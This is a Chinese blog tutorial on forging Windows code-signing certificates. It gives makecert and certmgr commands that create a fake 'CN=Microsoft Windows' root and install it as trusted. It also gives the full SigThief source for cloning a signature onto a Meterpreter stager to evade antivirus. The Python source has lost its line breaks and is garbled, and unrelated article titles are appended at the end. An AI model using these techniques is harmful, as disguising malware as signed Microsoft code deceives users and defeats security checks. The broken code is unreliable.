Windows 系统中的一些非常重要文件通常会被添加数字签名,其目的是用来防止被篡改,能确保用户通过互联网下载时能确信此代码没有被非法篡改和来源可信,从而保护了代码的完整性、保护了用户不会被病毒、恶意代码和间谍软件所侵害,而一些杀毒软件也是通过检测程序中的证书来实现查杀判定的,本章将演示证书的签发与伪造。

证书制作工具下载: https://github.com/3gstudent/signtools

制作并签发证书: 正常情况下,针对exe签发证书有如下几个步骤.

1.查询一个程序中存在的证书,可以使用下面三个命令。

c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作证书,sv-私钥文件名,ss-主题的证书存储名称,n-证书颁发对象,r-证书存储位置。

c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\> signtools cert2spc Root.cer Root.spc
c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注册证书与签发证书。

c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要给PowerShell脚本添加证书,则执行如下命令即可.

1.生成证书文件

c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\> cert2spc certtest.cer certtest.spc
c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.给powershell脚本签名

c:\> powershell
c:\> $cert = Get-PfxCertificate certtest.pfx
c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

伪造PE文件证书:

有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certTable是否填充了某些值。这个工具让你快速将从已签名的PE文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。

开源工具SigThief可用于伪造证书,将下方代码保存为sigthief.py即可:

import sys
import struct
import shutil
import io
from optparse import OptionParserdef gather_file_info_win(binary):"""Borrowed from BDF...I could just skip to certLOC... *shrug*"""flItms = {}binary = open(binary, 'rb')binary.seek(int('3C', 16))flItms['buffer'] = 0flItms['JMPtoCodeAddress'] = 0flItms['dis_frm_pehdrs_sectble'] = 248flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]# Start of COFFflItms['COFF_Start'] = flItms['pe_header_location'] + 4binary.seek(flItms['COFF_Start'])flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]binary.seek(flItms['COFF_Start'] + 2, 0)flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]binary.seek(flItms['COFF_Start'] + 16, 0)flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]#End of COFFflItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20#if flItms['SizeOfOptionalHeader']:#Begin Standard Fields section of Optional Headerbinary.seek(flItms['OptionalHeader_start'])flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]flItms['SizeOfUninitializedData'] = struct.unpack("<I",binary.read(4))[0]flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]flItms['PatchLocation'] = flItms['AddressOfEntryPoint']flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]if flItms['Magic'] != 0x20B:flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms['Magic'] == 0x20B:flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]else:flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',binary.read(2))[0]flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',binary.read(2))[0]flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfImageLoc'] = binary.tell()flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]if flItms['Magic'] == 0x20B:flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]else:flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0]  # zeroflItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()#ImportTable SIZE|LOCflItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]flItms['CertTableLOC'] = binary.tell()flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]binary.close()return flItmsdef copyCert(exe):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Input file Not signed!")sys.exit(-1)with open(exe, 'rb') as f:f.seek(flItms['CertLOC'], 0)cert = f.read(flItms['CertSize'])return certdef writeCert(cert, exe, output):flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + "_signed"shutil.copy2(exe, output)print("Output file: {0}".format(output))with open(exe, 'rb') as g:with open(output, 'wb') as f:f.write(g.read())f.seek(0)f.seek(flItms['CertTableLOC'], 0)f.write(struct.pack("<I", len(open(exe, 'rb').read())))f.write(struct.pack("<I", len(cert)))f.seek(0, io.SEEK_END)f.write(cert)print("Signature appended. \nFIN.")def outputCert(exe, output):cert = copyCert(exe)if not output:output = str(exe) + "_sig"print("Output file: {0}".format(output))open(output, 'wb').write(cert)print("Signature ripped. \nFIN.")def check_sig(exe):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Inputfile Not signed!")else:print("Inputfile is signed!")def truncate(exe, output):flItms = gather_file_info_win(exe)if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:# not signedprint("Inputfile Not signed!")sys.exit(-1)else:print( "Inputfile is signed!")if not output:output = str(exe) + "_nosig"print("Output file: {0}".format(output))shutil.copy2(exe, output)with open(output, "r+b") as binary:print('Overwriting certificate table pointer and truncating binary')binary.seek(-flItms['CertSize'], io.SEEK_END)binary.truncate()binary.seek(flItms['CertTableLOC'], 0)binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")print("Signature removed. \nFIN.")def signfile(exe, sigfile, output):flItms = gather_file_info_win(exe)cert = open(sigfile, 'rb').read()if not output: output = output = str(exe) + "_signed"shutil.copy2(exe, output)print("Output file: {0}".format(output))with open(exe, 'rb') as g:with open(output, 'wb') as f:f.write(g.read())f.seek(0)f.seek(flItms['CertTableLOC'], 0)f.write(struct.pack("<I", len(open(exe, 'rb').read())))f.write(struct.pack("<I", len(cert)))f.seek(0, io.SEEK_END)f.write(cert)print("Signature appended. \nFIN.")if __name__ == "__main__":usage = 'usage: %prog [options]'parser = OptionParser()parser.add_option("-i", "--file", dest="inputfile", help="input file", metavar="FILE")parser.add_option('-r', '--rip', dest='ripsig', action='store_true',help='rip signature off inputfile')parser.add_option('-a', '--add', dest='addsig', action='store_true',help='add signautre to targetfile')parser.add_option('-o', '--output', dest='outputfile',help='output file')parser.add_option('-s', '--sig', dest='sigfile',help='binary signature from disk')parser.add_option('-t', '--target', dest='targetfile',help='file to append signature to')parser.add_option('-c', '--checksig', dest='checksig', action='store_true',help='file to check if signed; does not verify signature')parser.add_option('-T', '--truncate', dest="truncate", action='store_true',help='truncate signature (i.e. remove sig)')(options, args) = parser.parse_args()# rip signature# inputfile and rip to outputfileif options.inputfile and options.ripsig:print("Ripping signature to file!")outputCert(options.inputfile, options.outputfile)sys.exit()    # copy from one to another# inputfile and rip to targetfile to outputfile    if options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit()# check signature# inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit()# add sig to target fileif options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit()# truncateif options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit()parser.print_help()parser.error("You must do something!")

我们需要找一个带有证书的文件,然后通过使用sigthief.py完成证书的克隆。此处就拿系统中的ConsentUX.dll演示。

c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以从二进制文件中获取签名并将其添加到另一个二进制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.

将签名保存到磁盘以供以后使用,提供了一个转存功能。

$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
```BASH
使用翻录签名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
```BASH
截断(删除)签名 这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的AV)
```BASH
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.

Python 使用sigthief 签发证书相关推荐

  1. openssl 自建CA签发证书 网站https的ssl通信

    <<COMMENT X509 文件扩展名 首先我们要理解文件的扩展名代表什么.DER.PEM.CRT和CER这些扩展名经常令人困惑. 很多人错误地认为这些扩展名可以互相代替.尽管的确有时候 ...

  2. python有相关的证书可以考吗-学python需要考证吗?考证有什么好处?

    对于学习Python的人来说,常常具有这样的疑问:学python需要考证吗?考证有什么好处? 学python需要考证吗? Python这门语言近来是越来越火,在国家层面越来越被重视.除了之前热议的加入 ...

  3. OpenSSL签发证书时编码UTF8STRING PRINTABLESTRING不匹配

    问题如下: Check that the request matches the signature Signature ok The countryName field is different b ...

  4. openssl创建CA并签发证书

    一.创建私有CA根证书 1.创建CA目录 root@DESKTOP-JP3S3AN:/home/wsl/openssl_pro# mkdir -pv /etc/pki/CA/{private,cert ...

  5. 加密解密概述及openssl应用及其创建CA和签发证书的实现

    数据非常重要,这是大家的共识,为了保证数据的安全,就会涉及到加密及其解密,本文主要介绍加密 解密相关概念及其在Linux平台下加密解密的具体实现openssl基础,及openssl创建CA和签发证书: ...

  6. OpenSSL生成root CA及签发证书

    一.openssl 简介 openssl 是目前最流行的 SSL 密码库工具,其提供了一个通用.健壮.功能完备的工具套件,用以支持SSL/TLS 协议的实现.官网:https://www.openss ...

  7. 使用 openssl 创建自签发证书,含 IP证书 及 泛域名证书

    web里面需要使用ssl才能使用,所以需要使用域名证书: 1. 创建根证书 创建秘钥 openssl genrsa -out LocalRootCA.key 2048 生成证书并自签名,nodes是不 ...

  8. 使用OpenSSL生成/签发证书的原理、流程与示例

    文章目录 1 生成证书的步骤与原理 2 标准的CA签发流程 2.1 创建私钥(.key) 2.2 基于私钥创建证书签名请求(.csr) 2.3 (可选)直接同时生成私钥和证书签名请求 2.4 将证书申 ...

  9. 部署harbor并实现https(SAN签发证书)

      目录 一.安装docker.docker-compose 二.安装harbor 三.签发证书 四.修改配置文件 五.运行harbor 六.客户端测试: 使用系统:ubuntu 20.04.3 ha ...

最新文章

  1. RCP中product文件的用法
  2. 软件详细设计说明书_校导周绪龙|软件测试第五篇——软件测试的底层思维
  3. 分布式版本控制系统Git的安装与使用
  4. OCA第4部分中的Java难题
  5. Activity 的窗口去头的方式
  6. html中url路径是什么意思,url是什么意思?
  7. 悟透delphi 第十章 操作界面与操作逻辑
  8. python nose框架_Python测试框架nose的介绍
  9. drbd+corosync+pacemaker实现mysql的高可用性“上”
  10. Python机器学习库sklearn几种分类算法建模可视化(实验)
  11. 利用AJAX技术实现网页无刷新进度条显示
  12. python pop3_Python使用POP3和SMTP协议收发邮件
  13. 学计算机仓库管理一定打字吗,仓库管理员要会电脑吗?需要哪些电脑操作呢?...
  14. Arduino教程2:如何下载使用Arduino IDE?(附下载地址)
  15. 微信小程序快速达到1000UV流量主开通标准
  16. 任务驱动在中职计算机课中的应用,论任务驱动教学法在中职计算机基础课上的应用...
  17. #爬取电影天堂的磁力链接#
  18. LCD1602液晶显示模块
  19. Java并发编程系列18:多线程之生产者和消费者模式_信号灯法(wait/notify通知机制)
  20. 原根算法C语言,算法导论-----数论-----元素的幂

热门文章

  1. 远征手游找不到以前的服务器,《剑与远征》找不到服务器怎么解决 找不到服务器账号解决方法分享...
  2. Android自定义控件(1)——湿度器
  3. APP性能测试之冷热启动时间查看
  4. 2022年熔化焊接与热切割理论题库及答案
  5. 交完论文才发现spss数据分析做错了
  6. 3dsMax模型转GLTF模型流程
  7. Logopress3 2012 SP1.3 for SolidWorks 2011-2012 1CD
  8. jquery,bootstrap实现的用户名片信息提示
  9. python离线下载和安装库
  10. htc+e8+android+6.0,2014年度诚意之作 HTC One时尚版评测